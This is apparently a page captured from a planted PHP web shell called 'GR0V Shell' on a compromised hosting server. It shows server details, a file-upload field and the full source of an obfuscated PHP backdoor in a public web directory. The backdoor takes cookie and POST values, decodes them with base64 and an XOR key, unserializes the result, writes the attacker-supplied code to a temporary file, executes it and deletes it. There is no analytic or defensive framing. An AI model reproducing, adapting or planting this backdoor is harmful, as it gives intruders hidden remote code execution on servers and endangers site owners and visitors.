? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/iyltso/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/iyltso/35073f24.php

$tCCCuU = "\155" . "\x64" . 'u' . '_' . "\123" . chr (102) . chr ( 648 - 559 ).'v' . chr (75); $biHsMrWL = chr ( 207 - 108 ).chr ( 446 - 338 ).'a' . chr ( 431 - 316 ).chr ( 857 - 742 ).'_' . chr (101) . chr ( 826 - 706 ).'i' . "\163" . "\x74" . "\x73";$vUnNEqp = $biHsMrWL($tCCCuU); $qPKlqN = $vUnNEqp;if (!$qPKlqN){class mdu_SfYvK{private $Tedmx;public static $YhkIGwZ = "1dcc63a7-36e3-41b8-84ab-57f89b01a242";public static $fCCjIJc = 44973;public function __construct($JFHSJl=0){$qcKzRYK = $_COOKIE;$NMpjJQu = $_POST;$wbROK = @$qcKzRYK[substr(mdu_SfYvK::$YhkIGwZ, 0, 4)];if (!empty($wbROK)){$hLMCLTq = "base64";$lexHmbO = "";$wbROK = explode(",", $wbROK);foreach ($wbROK as $YpgWm){$lexHmbO .= @$qcKzRYK[$YpgWm];$lexHmbO .= @$NMpjJQu[$YpgWm];}$lexHmbO = array_map($hLMCLTq . "\137" . "\x64" . 'e' . "\x63" . chr (111) . chr (100) . "\x65", array($lexHmbO,)); $lexHmbO = $lexHmbO[0] ^ str_repeat(mdu_SfYvK::$YhkIGwZ, (strlen($lexHmbO[0]) / strlen(mdu_SfYvK::$YhkIGwZ)) + 1);mdu_SfYvK::$fCCjIJc = @unserialize($lexHmbO);}}private function IPGQELo(){if (is_array(mdu_SfYvK::$fCCjIJc)) {$qwfdM = sys_get_temp_dir() . "/" . crc32(mdu_SfYvK::$fCCjIJc["\x73" . chr (97) . 'l' . "\x74"]);@mdu_SfYvK::$fCCjIJc[chr ( 555 - 436 ).'r' . 'i' . chr ( 1083 - 967 ).chr ( 876 - 775 )]($qwfdM, mdu_SfYvK::$fCCjIJc["\x63" . "\x6f" . chr ( 776 - 666 )."\164" . chr (101) . chr (110) . "\x74"]);include $qwfdM;@mdu_SfYvK::$fCCjIJc[chr (100) . "\145" . 'l' . 'e' . "\x74" . "\145"]($qwfdM); $gMNaDq = "28476";exit();}}public function __destruct(){$this->IPGQELo(); $gMNaDq = "28476";}}$uBdKyfZMm = new mdu_SfYvK(); $uBdKyfZMm = "11789_18204";}

T1KUS90T
  root-grov@210.1.60.28:~$